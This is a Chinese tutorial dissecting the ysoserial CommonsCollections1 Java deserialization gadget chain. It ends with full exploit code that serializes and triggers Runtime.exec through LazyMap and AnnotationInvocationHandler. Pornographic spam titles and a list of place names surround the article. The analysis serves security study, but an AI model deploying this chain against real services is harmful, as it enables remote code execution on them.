最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

java安全?ysoserial?CommonsCollections1示例解析

 更新時(shí)間:2022年10月29日 09:55:21   作者:功夫小熊貓  
這篇文章主要介紹了java安全?ysoserial?CommonsCollections1示例解析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪

正文

/*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()
    Requires:
        commons-collections
 */

先假設(shè)Runtime類可序列化

先假設(shè)Runtime類可序列化,最終要實(shí)現(xiàn):

Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");

調(diào)用InvokerTransformer.transform()

從最后一步開始,調(diào)用InvokerTransformer.transform()

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

transform方法實(shí)現(xiàn)了完整的反射,通過InvokerTransformer構(gòu)造方法傳入方法和參數(shù)。

所以這一步的利用鏈

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);

InvokerTransformer的transform調(diào)用

InvokerTransformer的transform的調(diào)用,在ChainedTransformer的transform實(shí)現(xiàn)。

public ChainedTransformer(Transformer[] transformers) {
  super();
  iTransformers = transformers;
}
public Object transform(Object object) {
  for (int i = 0; i < iTransformers.length; i++) {
    object = iTransformers[i].transform(object);
  }
  return object;
}

如果Transformer[]里面的對象是:

Transformer[0]:new ConstantTransformer(runtime)

Transformer[1]:invokerTransformer

第一次循環(huán):(new ConstantTransformer(runtime)).transform() runtime對象返回給object

第二次循環(huán):invokerTransformer.transform(runtime)

所以這一步的利用鏈:

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(runtime),invokerTransformer});
chainedTransformer.transform(1);

ChainedTransformer的transform誰來調(diào)?

LazyMap的get方法存在transform調(diào)用(key不存在的時(shí)候)。

public class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable {
    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }
    private void writeObject(ObjectOutputStream out) throws IOException {
        out.defaultWriteObject();
        out.writeObject(map);
    }
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        map = (Map) in.readObject();
    }
    //-----------------------------------------------------------------------
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
}

通過decorate方法,修改this.factory為chainedTransformer對象,最后通過get不存在的key調(diào)用chainedTransformer的transform

所以利用鏈

HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get(1);

lazyMap的get誰來調(diào)用?

這里面用的AnnotationInvocationHandler的invoke,該方法存在某個屬性的get,屬性可通過構(gòu)造方法改變。

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }
    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();
        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");
        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }
        // Handle annotation member accessors
        Object result = memberValues.get(member);
        if (result == null)
            throw new IncompleteAnnotationException(type, member);
        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();
        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);
        return result;
    }
    /**
     * This method, which clones its array argument, would not be necessary
     * if Cloneable had a public clone method.
     */

因?yàn)锳nnotationInvocationHandler類非public,通過反射調(diào)用

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);

對象初始化memberValues,得到對象handler,接下來就是讓handler對象執(zhí)行invoke

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

proxyMap已經(jīng)有了,那么應(yīng)該怎么觸發(fā)handler執(zhí)行方法,來調(diào)用invoke方法
AnnotationInvocationHandler的readobject方法,存在對memberValues執(zhí)行entrySet()

所以用proxyMap對象重新生成一個AnnotationInvocationHandler對象

InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
handle

AnnotationInvocationHandler的readobject重寫

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        // Check to make sure that types have not evolved incompatibly
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

最后AnnotationInvocationHandler對象反序列化,執(zhí)行readobject也就觸發(fā)了proxyMap的invoke方法

要解決的問題:Runtime類未實(shí)現(xiàn)Serializable,需要使用反射調(diào)用,反射方法用什么來觸發(fā)執(zhí)行?

Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");

反射方式實(shí)現(xiàn):

Class cr = Class.forName("java.lang.Runtime");
Method getRuntime = cr.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntimemethod.invoke(null, null);
Method execmethod = cr.getMethod("exec", String.class);
execmethod.invoke(runtimemethod,"calc.exe");

反射方法通過InvokerTransformer實(shí)現(xiàn)

Class cr = Class.forName("java.lang.Runtime");
Method getRuntimemethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(cr);
Runtime runtimemethod = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, null}).transform(getRuntimemethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}).transform(runtimemethod);

ChainedTransformer中的transform正好實(shí)現(xiàn)了這組鏈的調(diào)用

public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

所以最后runtime的實(shí)現(xiàn)利用鏈:

Transformer[] transformers = {
  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);
chainedTransformerruntime.transform(cr);

最終實(shí)現(xiàn)的利用鏈:

public class CC1Test3 {
    public static void main(String[] args) throws Exception {
        Class cr = Class.forName("java.lang.Runtime");
        Transformer[] transformers = {
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(cr),chainedTransformerruntime});
        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc1.ser"));
        objectOutputStream.writeObject(handle);
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc1.ser"));
        objectInputStream.readObject();
    }
}

以上就是java安全 ysoserial CommonsCollections1示例解析的詳細(xì)內(nèi)容,更多關(guān)于java安全 ysoserial CommonsCollections的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • Java中字符串String的+和+=及循環(huán)操作String原理詳解

    Java中字符串String的+和+=及循環(huán)操作String原理詳解

    Java編譯器在編譯時(shí)對String的+和+=操作會創(chuàng)建StringBuilder對象來進(jìn)行字符串的拼接,下面這篇文章主要給大家介紹了關(guān)于Java中字符串String的+和+=及循環(huán)操作String原理的相關(guān)資料,需要的朋友可以參考下
    2023-01-01
  • Java實(shí)現(xiàn)簡易版猜燈謎游戲的示例代碼

    Java實(shí)現(xiàn)簡易版猜燈謎游戲的示例代碼

    燈謎是中秋節(jié)傳統(tǒng)的活動之一,而現(xiàn)代化的方式則是將其制作成一個小游戲,讓用戶在游戲的過程中猜燈謎,互動體驗(yàn)更佳,所以本文小編就用Java制作一款猜燈謎小游戲吧
    2023-09-09
  • Jmeter后置處理器實(shí)現(xiàn)過程及方法應(yīng)用

    Jmeter后置處理器實(shí)現(xiàn)過程及方法應(yīng)用

    這篇文章主要介紹了Jmeter后置處理器實(shí)現(xiàn)過程及方法應(yīng)用,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-09-09
  • SpringBoot后端接收數(shù)組對象的實(shí)現(xiàn)

    SpringBoot后端接收數(shù)組對象的實(shí)現(xiàn)

    這篇文章主要介紹了SpringBoot后端接收數(shù)組對象的實(shí)現(xiàn)方式,具有很好的參考價(jià)值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2022-11-11
  • Java實(shí)現(xiàn)經(jīng)典角色扮演偵探游戲游戲的示例代碼

    Java實(shí)現(xiàn)經(jīng)典角色扮演偵探游戲游戲的示例代碼

    這篇文章主要介紹了如何利用Java語言自制一個偵探文字游戲—《角色扮演偵探》,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以跟隨小編學(xué)習(xí)一下
    2022-02-02
  • Java使用Collections.sort()排序的示例詳解

    Java使用Collections.sort()排序的示例詳解

    這篇文章主要介紹了Java使用Collections.sort()排序的示例詳解,Collections.sort(list, new PriceComparator());的第二個參數(shù)返回一個int型的值,就相當(dāng)于一個標(biāo)志,告訴sort方法按什么順序來對list進(jìn)行排序。對此感興趣的可以了解一下
    2020-07-07
  • JavaFX程序初次運(yùn)行創(chuàng)建數(shù)據(jù)庫并執(zhí)行建表SQL詳解

    JavaFX程序初次運(yùn)行創(chuàng)建數(shù)據(jù)庫并執(zhí)行建表SQL詳解

    這篇文章主要介紹了JavaFX程序初次運(yùn)行創(chuàng)建數(shù)據(jù)庫并執(zhí)行建表SQL詳解,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2019-08-08
  • 一文搞懂Spring中的注解與反射

    一文搞懂Spring中的注解與反射

    這篇文章主要為大家介紹了Spring中的注解與反射的原理與實(shí)現(xiàn),文中的示例代碼講解詳細(xì),對我們了解Spring有一定的幫助,需要的可以參考一下
    2022-06-06
  • SpringBoot2.x集成Dozer的示例代碼

    SpringBoot2.x集成Dozer的示例代碼

    本文主要介紹了SpringBoot2.x集成Dozer的示例代碼,文中通過示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2021-08-08
  • Java 實(shí)戰(zhàn)項(xiàng)目之精品養(yǎng)老院管理系統(tǒng)的實(shí)現(xiàn)流程

    Java 實(shí)戰(zhàn)項(xiàng)目之精品養(yǎng)老院管理系統(tǒng)的實(shí)現(xiàn)流程

    讀萬卷書不如行萬里路,只學(xué)書上的理論是遠(yuǎn)遠(yuǎn)不夠的,只有在實(shí)戰(zhàn)中才能獲得能力的提升,本篇文章手把手帶你用java+Springboot+Maven+mybatis+Vue+Mysql實(shí)現(xiàn)一個精品養(yǎng)老院管理系統(tǒng),大家可以在過程中查缺補(bǔ)漏,提升水平
    2021-11-11

最新評論

承德县| 阿巴嘎旗| 黔西| 商水县| 汕头市| 永春县| 山东| 临高县| 建阳市| 西乌珠穆沁旗| 镇远县| 朝阳市| 济源市| 喜德县| 宣化县| 南丰县| 邹平县| 滦平县| 西丰县| 磴口县| 淳安县| 关岭| 苍南县| 定结县| 柯坪县| 卫辉市| 鹤壁市| 四平市| 鄢陵县| 张家港市| 肥西县| 乐山市| 灵石县| 罗江县| 大同县| 米易县| 武义县| 清镇市| 平遥县| 舞钢市| 理塘县|